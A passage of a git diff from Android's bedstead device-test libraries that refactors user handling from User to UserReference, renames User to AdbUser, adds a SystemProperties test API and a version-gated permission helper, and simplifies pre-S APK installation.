import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.packages.Package;
import com.android.bedstead.nene.permissions.PermissionContextImpl;
-import com.android.bedstead.nene.users.User;
import com.android.bedstead.nene.users.UserBuilder;
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.utils.ShellCommand;
@@ -714,7 +713,7 @@
}
private void requireRunOnUser(String[] userTypes, OptionalBoolean switchedToUser) {
- User instrumentedUser = TestApis.users().instrumented().resolve();
+ UserReference instrumentedUser = TestApis.users().instrumented();
assumeTrue("This test only runs on users of type " + Arrays.toString(userTypes),
Arrays.stream(userTypes).anyMatch(i -> i.equals(instrumentedUser.type().name())));
@@ -728,7 +727,7 @@
OptionalBoolean installInstrumentedAppInParent,
boolean hasProfileOwner, boolean dpcIsPrimary,
OptionalBoolean switchedToParentUser, Set<String> affiliationIds) {
- User instrumentedUser = TestApis.users().instrumented().resolve();
+ UserReference instrumentedUser = TestApis.users().instrumented();
assumeTrue("This test only runs on users of type " + userType,
instrumentedUser.type().name().equals(userType));
@@ -987,7 +986,7 @@
}
if (!mProfiles.containsKey(userType) || !mProfiles.get(userType).containsKey(forUser)) {
- UserReference parentUser = TestApis.users().instrumented().resolve().parent();
+ UserReference parentUser = TestApis.users().instrumented().parent();
if (parentUser != null) {
if (mProfiles.containsKey(userType)
@@ -1045,7 +1044,7 @@
*/
public UserReference primaryUser() {
return TestApis.users().all()
- .stream().filter(User::isPrimary).findFirst()
+ .stream().filter(UserReference::isPrimary).findFirst()
.orElseThrow(IllegalStateException::new);
}
@@ -1221,16 +1220,14 @@
switchFromUser(userReference);
- User user = userReference.resolve();
-
- if (!mCreatedUsers.remove(user)) {
+ if (!mCreatedUsers.remove(userReference)) {
mRemovedUsers.add(TestApis.users().createUser()
- .name(user.name())
- .type(user.type())
- .parent(user.parent()));
+ .name(userReference.name())
+ .type(userReference.type())
+ .parent(userReference.parent()));
}
- user.remove();
+ userReference.remove();
}
public void requireCanSupportAdditionalUser() {
@@ -1297,7 +1294,7 @@
private void teardownShareableState() {
if (mOriginalSwitchedUser != null) {
- if (mOriginalSwitchedUser.resolve() == null) {
+ if (!mOriginalSwitchedUser.exists()) {
Log.d(LOG_TAG, "Could not switch back to original user "
+ mOriginalSwitchedUser
+ " as it does not exist. Switching to initial instead.");
@@ -1747,7 +1744,7 @@
continue;
}
- if (otherUser.resolve().parent() != null) {
+ if (otherUser.parent() != null) {
continue;
}
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index ee961fa..d4c8eb8 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -399,8 +399,7 @@
@RequireRunOnWorkProfile
public void requireRunOnWorkProfileAnnotation_isRunningOnWorkProfile() {
assertThat(
- TestApis.users().instrumented().resolve().type().name())
- .isEqualTo(MANAGED_PROFILE_TYPE_NAME);
+ TestApis.users().instrumented().type().name()).isEqualTo(MANAGED_PROFILE_TYPE_NAME);
}
@Test
@@ -415,8 +414,7 @@
@RequireRunOnSecondaryUser
public void requireRunOnSecondaryUserAnnotation_isRunningOnSecondaryUser() {
assertThat(
- TestApis.users().instrumented().resolve().type().name())
- .isEqualTo(SECONDARY_USER_TYPE_NAME);
+ TestApis.users().instrumented().type().name()).isEqualTo(SECONDARY_USER_TYPE_NAME);
}
@Test
@@ -431,7 +429,7 @@
public void includeRunOnNonAffiliatedDeviceOwnerSecondaryUserAnnotation_isRunningOnNonAffiliatedDeviceOwnerSecondaryUser() {
assertThat(TestApis.devicePolicy().getDeviceOwner().user())
.isNotEqualTo(TestApis.users().instrumented());
- assertThat(TestApis.users().instrumented().resolve().type().name())
+ assertThat(TestApis.users().instrumented().type().name())
.isEqualTo(SECONDARY_USER_TYPE_NAME);
}
@@ -446,7 +444,7 @@
@Test
@IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile
public void includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerAnnotation_isRunningOnSecondaryUserInDifferentProfileGroupToProfileOwner() {
- assertThat(TestApis.users().instrumented().resolve().type().name())
+ assertThat(TestApis.users().instrumented().type().name())
.isEqualTo(SECONDARY_USER_TYPE_NAME);
assertThat(sDeviceState.workProfile(PRIMARY_USER))
.isNotEqualTo(TestApis.users().instrumented());
@@ -557,14 +555,14 @@
@Test
@RequireRunOnPrimaryUser
public void requireRunOnPrimaryUserAnnotation_isRunningOnPrimaryUser() {
- assertThat(TestApis.users().instrumented().resolve().type().name())
+ assertThat(TestApis.users().instrumented().type().name())
.isEqualTo(SYSTEM_USER_TYPE_NAME);
}
@Test
@RequireRunOnTvProfile
public void requireRunOnTvProfileAnnotation_isRunningOnTvProfile() {
- assertThat(TestApis.users().instrumented().resolve().type().name())
+ assertThat(TestApis.users().instrumented().type().name())
.isEqualTo(TV_PROFILE_TYPE_NAME);
}
@@ -601,29 +599,25 @@
@Test
@RequireRunOnWorkProfile
public void requireRunOnProfile_parentIsCurrentUser() {
- assertThat(TestApis.users().current()).isEqualTo(
- sDeviceState.workProfile().resolve().parent());
+ assertThat(TestApis.users().current()).isEqualTo(sDeviceState.workProfile().parent());
}
@Test
@RequireRunOnWorkProfile(switchedToParentUser = FALSE)
public void requireRunOnProfile_specifyNotSwitchedToParentUser_parentIsNotCurrentUser() {
- assertThat(TestApis.users().current()).isNotEqualTo(
- sDeviceState.workProfile().resolve().parent());
+ assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.workProfile().parent());
}
@Test
@EnsureHasWorkProfile(switchedToParentUser = FALSE) // We don't test the default as it's ANY
public void ensureHasWorkProfile_specifyNotSwitchedToParentUser_parentIsNotCurrentUser() {
- assertThat(TestApis.users().current()).isNotEqualTo(
- sDeviceState.workProfile().resolve().parent());
+ assertThat(TestApis.users().current()).isNotEqualTo(sDeviceState.workProfile().parent());
}
@Test
@EnsureHasWorkProfile(switchedToParentUser = TRUE)
public void ensureHasWorkProfile_specifySwitchedToParentUser_parentIsCurrentUser() {
- assertThat(TestApis.users().current()).isEqualTo(
- sDeviceState.workProfile().resolve().parent());
+ assertThat(TestApis.users().current()).isEqualTo(sDeviceState.workProfile().parent());
}
@Test
diff --git a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
index d6a8bcc..8b3dca2 100644
--- a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
@@ -21,6 +21,7 @@
<uses-sdk android:minSdkVersion="27" />
<uses-permission android:name="android.permission.GET_TASKS" android:maxSdkVersion="28" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="29" />
<application>
<service
android:name="com.android.bedstead.nene.notifications.NeneNotificationListenerService"
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
index 960f356..ecc04e3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
@@ -24,6 +24,7 @@
import com.android.bedstead.nene.packages.Packages;
import com.android.bedstead.nene.permissions.Permissions;
import com.android.bedstead.nene.settings.Settings;
+import com.android.bedstead.nene.systemproperties.SystemProperties;
import com.android.bedstead.nene.users.Users;
/**
@@ -60,6 +61,11 @@
return Settings.sInstance;
}
+ /** Access Test APIs related to System Properties. */
+ public static SystemProperties systemProperties() {
+ return SystemProperties.sInstance;
+ }
+
/** Access Test APIs related to activities. */
@Experimental
public static Activities activities() {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
index 7564ac8..0259477 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
@@ -41,7 +41,6 @@
import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.packages.Package;
import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.utils.ShellCommand;
import com.android.bedstead.nene.utils.ShellCommandUtils;
@@ -336,7 +335,7 @@
}
if (!allowAdditionalUsers) {
- Collection<User> users = TestApis.users().all();
+ Collection<UserReference> users = TestApis.users().all();
if (users.size() > 1) {
throw new NeneException("Could not set device owner for user "
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
index 9135516..55ddb73 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -516,6 +516,10 @@
throw new NeneException("Error getting requestedPermissions, does not exist");
}
+ if (packageInfo.requestedPermissions == null) {
+ return new HashSet<>();
+ }
+
return new HashSet<>(Arrays.asList(packageInfo.requestedPermissions));
}
@@ -565,7 +569,7 @@
}
private PackageInfo packageInfoForUserPreS(UserReference user, int flags) {
- AdbPackage pkg = parseDumpsys().mPackages.get(mPackageName);
+ AdbPackage pkg = Packages.parseDumpsys().mPackages.get(mPackageName);
if (pkg == null) {
return null;
@@ -582,16 +586,6 @@
return packageInfo;
}
- private AdbPackageParser.ParseResult parseDumpsys() {
- try {
- String dumpsysOutput = ShellCommand.builder("dumpsys package").execute();
- return Packages.sParser.parse(dumpsysOutput);
- } catch (AdbException | AdbParseException e) {
- throw new NeneException("Error parsing package dumpsys", e);
- }
- }
-
-
@Nullable
private ApplicationInfo applicationInfoFromAnyUser(int flags) {
return TestApis.users().all().stream()
@@ -776,7 +770,7 @@
}
}
- return parseDumpsys().mPackages.containsKey(mPackageName);
+ return Packages.parseDumpsys().mPackages.containsKey(mPackageName);
}
private static final class ProcessInfo {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index 961fbee..a6ad211 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -20,6 +20,7 @@
import static android.Manifest.permission.INSTALL_TEST_ONLY_PACKAGE;
import static android.Manifest.permission.INTERACT_ACROSS_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
import static android.content.pm.PackageInstaller.EXTRA_STATUS;
import static android.content.pm.PackageInstaller.EXTRA_STATUS_MESSAGE;
import static android.content.pm.PackageInstaller.STATUS_FAILURE;
@@ -28,7 +29,6 @@
import static android.os.Build.VERSION.SDK_INT;
import static android.os.Build.VERSION_CODES.R;
-import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
import android.content.ComponentName;
@@ -39,6 +39,7 @@
import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.os.Build;
+import android.os.Environment;
import android.util.Log;
import androidx.annotation.CheckResult;
@@ -47,9 +48,9 @@
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.annotations.Experimental;
import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.utils.BlockingIntentSender;
import com.android.bedstead.nene.utils.ShellCommand;
@@ -187,7 +188,9 @@
return installedForUser(TestApis.users().instrumented());
}
- /** Resolve all packages installed for a given {@link UserReference}. */
+ /**
+ * Resolve all packages installed for a given {@link UserReference}.
+ */
public Collection<Package> installedForUser(UserReference user) {
if (user == null) {
throw new NullPointerException();
@@ -201,6 +204,14 @@
.collect(Collectors.toSet());
}
+ if (!Versions.meetsMinimumSdkVersionRequirement(R)) {
+ AdbPackageParser.ParseResult packages = parseDumpsys();
+ return packages.mPackages.values().stream()
+ .filter(p -> p.installedOnUsers().contains(user))
+ .map(p -> find(p.packageName()))
+ .collect(Collectors.toSet());
+ }
+
try (PermissionContext p = TestApis.permissions()
.withPermission(INTERACT_ACROSS_USERS_FULL)) {
return TestApis.context().androidContextAsUser(user).getPackageManager()
@@ -243,11 +254,9 @@
return install(user, loadBytes(apkFile));
}
- User resolvedUser = user.resolve();
-
- if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+ if (!user.exists() || !user.isUnlocked()) {
throw new NeneException("Packages can not be installed in non-started users "
- + "(Trying to install into user " + resolvedUser + ")");
+ + "(Trying to install into user " + user + ")");
}
// This is not in the try because if the install fails we don't want to await the broadcast
@@ -261,7 +270,6 @@
.addOperand("-t") // Allow test-only install
.addOperand(apkFile.getAbsolutePath())
.validate(ShellCommandUtils::startsWithSuccess)
- .asRoot()
.execute();
return waitForPackageAddedBroadcast(broadcastReceiver);
@@ -330,11 +338,9 @@
return installPreS(user, apkFile);
}
- User resolvedUser = user.resolve();
-
- if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+ if (!user.exists() || !user.isUnlocked()) {
throw new NeneException("Packages can not be installed in non-started users "
- + "(Trying to install into user " + resolvedUser + ")");
+ + "(Trying to install into user " + user + ")");
}
// This is not inside the try because if the install is unsuccessful we don't want to await
@@ -395,31 +401,21 @@
@Nullable
private Package installPreS(UserReference user, byte[] apkFile) {
// Prior to S we cannot pass bytes to stdin so we write it to a temp file first
- File outputDir = TestApis.context().instrumentedContext().getFilesDir();
+ File outputDir = Environment.getExternalStorageDirectory();
File outputFile = null;
- try {
+
+ try (PermissionContext p =
+ TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
// TODO(b/202705721): Replace this with fixed name
outputFile = new File(outputDir, UUID.randomUUID() + ".apk");
outputFile.getParentFile().mkdirs();
try (FileOutputStream output = new FileOutputStream(outputFile)) {
output.write(apkFile);
}
- // Shell can't read the file in files dir, so we can move it to /data/local/tmp
- File localTmpFile = new File("/data/local/tmp", outputFile.getName());
- // I'm not sure why only mv works on R, and only cp works on < R
- String command = Versions.meetsMinimumSdkVersionRequirement(R) ? "mv" : "cp";
- ShellCommand.builder(command)
- .addOperand(outputFile.getAbsolutePath())
- .addOperand(localTmpFile.getAbsolutePath())
- .asRoot()
- .validate(String::isEmpty)
- .allowEmptyOutput(true)
- .execute();
- return install(user, localTmpFile);
+
+ return install(user, outputFile);
} catch (IOException e) {
throw new NeneException("Error when writing bytes to temp file", e);
- } catch (AdbException e) {
- throw new NeneException("Error when moving file to /data/local/tmp", e);
} finally {
if (outputFile != null) {
outputFile.delete();
@@ -537,4 +533,13 @@
public Package instrumented() {
return find(TestApis.context().instrumentedContext().getPackageName());
}
+
+ static AdbPackageParser.ParseResult parseDumpsys() {
+ try {
+ String dumpsysOutput = ShellCommand.builder("dumpsys package").execute();
+ return Packages.sParser.parse(dumpsysOutput);
+ } catch (AdbException | AdbParseException e) {
+ throw new NeneException("Error parsing package dumpsys", e);
+ }
+ }
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
index 76c2159..c14417b 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
@@ -17,10 +17,7 @@
package com.android.bedstead.nene.packages;
import com.android.bedstead.nene.annotations.Experimental;
-import com.android.bedstead.nene.exceptions.AdbException;
-import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.utils.ShellCommand;
@Experimental
public final class ProcessReference {
@@ -59,21 +56,7 @@
return mUser;
}
- /**
- * Kill the process.
- */
- public void kill() {
- try {
- ShellCommand.builder("kill")
- .addOperand(mProcessId)
- .allowEmptyOutput(true)
- .validate(String::isEmpty)
- .asRoot()
- .execute();
- } catch (AdbException e) {
- throw new NeneException("Error killing process", e);
- }
- }
+ // TODO(b/203758521): Add support for killing processes
@Override
public int hashCode() {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
index 4fc05f3..f7f3a59 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
@@ -17,6 +17,7 @@
package com.android.bedstead.nene.permissions;
import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.Versions;
import java.util.Arrays;
import java.util.HashSet;
@@ -62,6 +63,17 @@
}
/**
+ * See {@link Permissions#withPermissionOnVersion(int, String...)}
+ */
+ public PermissionContextImpl withPermissionOnVersion(int sdkVersion, String... permissions) {
+ if (Versions.meetsSdkVersionRequirements(sdkVersion, sdkVersion)) {
+ return withPermission(permissions);
+ }
+
+ return this;
+ }
+
+ /**
* See {@link Permissions#withoutPermission(String...)}
*/
public PermissionContextImpl withoutPermission(String... permissions) {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
index 59adaf2..88aef56 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
@@ -128,6 +128,28 @@
}
/**
+ * Enter a {@link PermissionContext} where the given permissions are granted only when running
+ * on the given version.
+ *
+ * <p>If the permissions cannot be granted, and are not already granted, an exception will be
+ * thrown.
+ *
+ * <p>If the version does not match, the permission context will not change.
+ */
+ public PermissionContextImpl withPermissionOnVersion(int sdkVersion, String... permissions) {
+ if (mPermissionContexts.isEmpty()) {
+ recordExistingPermissions();
+ }
+
+ PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+ mPermissionContexts.add(permissionContext);
+
+ permissionContext.withPermissionOnVersion(sdkVersion, permissions);
+
+ return permissionContext;
+ }
+
+ /**
* Enter a {@link PermissionContext} where the given permissions are not granted.
*
* <p>If the permissions cannot be denied, and are not already denied, an exception will be
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java
new file mode 100644
index 0000000..44b0509
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.systemproperties;
+
+import android.util.Log;
+
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.exceptions.NeneException;
+
+import java.lang.reflect.InvocationTargetException;
+
+/** Test APIs related to setting and getting {@link android.os.SystemProperties}. */
+@Experimental
+public final class SystemProperties {
+
+ private static final String LOG_TAG = "SystemProperties";
+
+ public static final SystemProperties sInstance = new SystemProperties();
+
+ private SystemProperties() {
+
+ }
+
+ /** See {@link android.os.SystemProperties#set(java.lang.String, java.lang.String)}. */
+ public void set(String key, String value) {
+ if (key == null || value == null) {
+ throw new NullPointerException();
+ }
+
+ if (value.equals(get(key))) {
+ Log.i(LOG_TAG, "Setting SystemProperty " + key + " to " + value + " but already set");
+ return;
+ }
+
+ try {
+ // TODO(b/203749299): Remove reflection
+ android.os.SystemProperties.class.getMethod("set", String.class, String.class)
+ .invoke(null, key, value);
+ } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
+ throw new NeneException("Error setting system property " + key + " to " + value, e);
+ }
+ }
+
+ /** See {@link android.os.SystemProperties#get(java.lang.String)}. */
+ public String get(String key) {
+ if (key == null) {
+ throw new NullPointerException();
+ }
+ return android.os.SystemProperties.get(key);
+ }
+
+ /** See {@link android.os.SystemProperties#get(java.lang.String, java.lang.String)}. */
+ public String get(String key, String def) {
+ if (key == null) {
+ throw new NullPointerException();
+ }
+ return android.os.SystemProperties.get(key, def);
+ }
+
+ /** See {@link android.os.SystemProperties#getInt(java.lang.String, int)}. */
+ public int getInt(String key, int def) {
+ if (key == null) {
+ throw new NullPointerException();
+ }
+ return android.os.SystemProperties.getInt(key, def);
+ }
+
+ /** See {@link android.os.SystemProperties#getLong(java.lang.String, long)}. */
+ public long getLong(String key, long def) {
+ if (key == null) {
+ throw new NullPointerException();
+ }
+ return android.os.SystemProperties.getLong(key, def);
+ }
+
+ /** See {@link android.os.SystemProperties#getBoolean(java.lang.String, boolean)}. */
+ public boolean getBoolean(String key, boolean def) {
+ if (key == null) {
+ throw new NullPointerException();
+ }
+ return android.os.SystemProperties.getBoolean(key, def);
+ }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
similarity index 92%
rename from common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
rename to common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
index f06b004..31a5772 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
@@ -22,13 +22,10 @@
/**
* Representation of a user on an Android device.
- *
- * <p>{@link User} information represents the state of the device at construction time. To get an
- * updated reflection of the user on the device, see {@link #resolve()}.
*/
-public final class User extends UserReference {
+public final class AdbUser {
- private static final String LOG_TAG = "User";
+ private static final String LOG_TAG = "AdbUser";
/* From UserInfo */
static final int FLAG_MANAGED_PROFILE = 0x00000020;
@@ -70,11 +67,15 @@
final MutableUser mMutableUser;
- User(MutableUser mutableUser) {
- super(mutableUser.mId);
+ AdbUser(MutableUser mutableUser) {
mMutableUser = mutableUser;
}
+ /** Get the id of the user. */
+ public int id() {
+ return mMutableUser.mId;
+ }
+
/** Get the serial number of the user. */
public Integer serialNo() {
return mMutableUser.mSerialNo;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
index 93f2229..2c5a107 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
@@ -47,7 +47,7 @@
* <p>Values which are not used on the current version of Android will be {@code null}.
*/
class ParseResult {
- Map<Integer, User> mUsers;
+ Map<Integer, AdbUser> mUsers;
@Nullable Map<String, UserType> mUserTypes;
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
index 78a70b7..7a23986 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
@@ -98,12 +98,12 @@
return parseResult;
}
- Map<Integer, User> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
+ Map<Integer, AdbUser> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
String usersList = extractUsersList(dumpsysUsersOutput);
Set<String> userStrings = extractUserStrings(usersList);
- Map<Integer, User> users = new HashMap<>();
+ Map<Integer, AdbUser> users = new HashMap<>();
for (String userString : userStrings) {
- User user = new User(parseUser(userString));
+ AdbUser user = new AdbUser(parseUser(userString));
users.put(user.id(), user);
}
return users;
@@ -121,10 +121,10 @@
return extractIndentedSections(usersList, USER_LIST_BASE_INDENTATION);
}
- User.MutableUser parseUser(String userString) throws AdbParseException {
+ AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
try {
String userInfo[] = userString.split("UserInfo\\{", 2)[1].split("\\}", 2)[0].split(":");
- User.MutableUser user = new User.MutableUser();
+ AdbUser.MutableUser user = new AdbUser.MutableUser();
user.mName = userInfo[1];
user.mFlags = Integer.parseInt(userInfo[2], 16);
user.mId = Integer.parseInt(userInfo[0]);
@@ -134,7 +134,7 @@
Boolean.parseBoolean(
userString.split("Has profile owner: ", 2)[1].split("\n", 2)[0]);
user.mState =
- User.UserState.fromDumpSysValue(
+ AdbUser.UserState.fromDumpSysValue(
userString.split("State: ", 2)[1].split("\n", 2)[0]);
user.mIsRemoving = userString.contains("<removing>");
return user;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
index d3db731..a2ed2fa 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
@@ -271,9 +271,9 @@
}
@Override
- User.MutableUser parseUser(String userString) throws AdbParseException {
+ AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
// This will be called after parseUserTypes, so the user types are already accessible
- User.MutableUser user = super.parseUser(userString);
+ AdbUser.MutableUser user = super.parseUser(userString);
try {
user.mIsPrimary = Boolean.parseBoolean(
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
index e472d21..d1d5ba0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
@@ -40,8 +40,8 @@
}
@Override
- User.MutableUser parseUser(String userString) throws AdbParseException {
- User.MutableUser user = super.parseUser(userString);
+ AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
+ AdbUser.MutableUser user = super.parseUser(userString);
if (user.mType.baseType().contains(UserType.BaseType.PROFILE)) {
try {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
deleted file mode 100644
index 1845ee6..0000000
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.users;
-
-/**
- * Default implementation of {@link UserReference}.
- *
- * <p>Represents the abstract idea of a {@link User}, which may or may not exist.
- */
-public final class UnresolvedUser extends UserReference {
- UnresolvedUser(int id) {
- super(id);
- }
-
- @Override
- public String toString() {
- return "UnresolvedUser{id=" + id() + "}";
- }
-}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
index 6aca593..31e2685 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
@@ -138,7 +138,7 @@
commandBuilder.validate(ShellCommandUtils::startsWithSuccess)
.executeAndParseOutput(
(output) -> Integer.parseInt(output.split("id ")[1].trim()));
- return new UnresolvedUser(userId);
+ return new UserReference(userId);
} catch (AdbException e) {
throw new NeneException("Could not create user " + this, e);
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
index 38433bf..c5b5b89 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
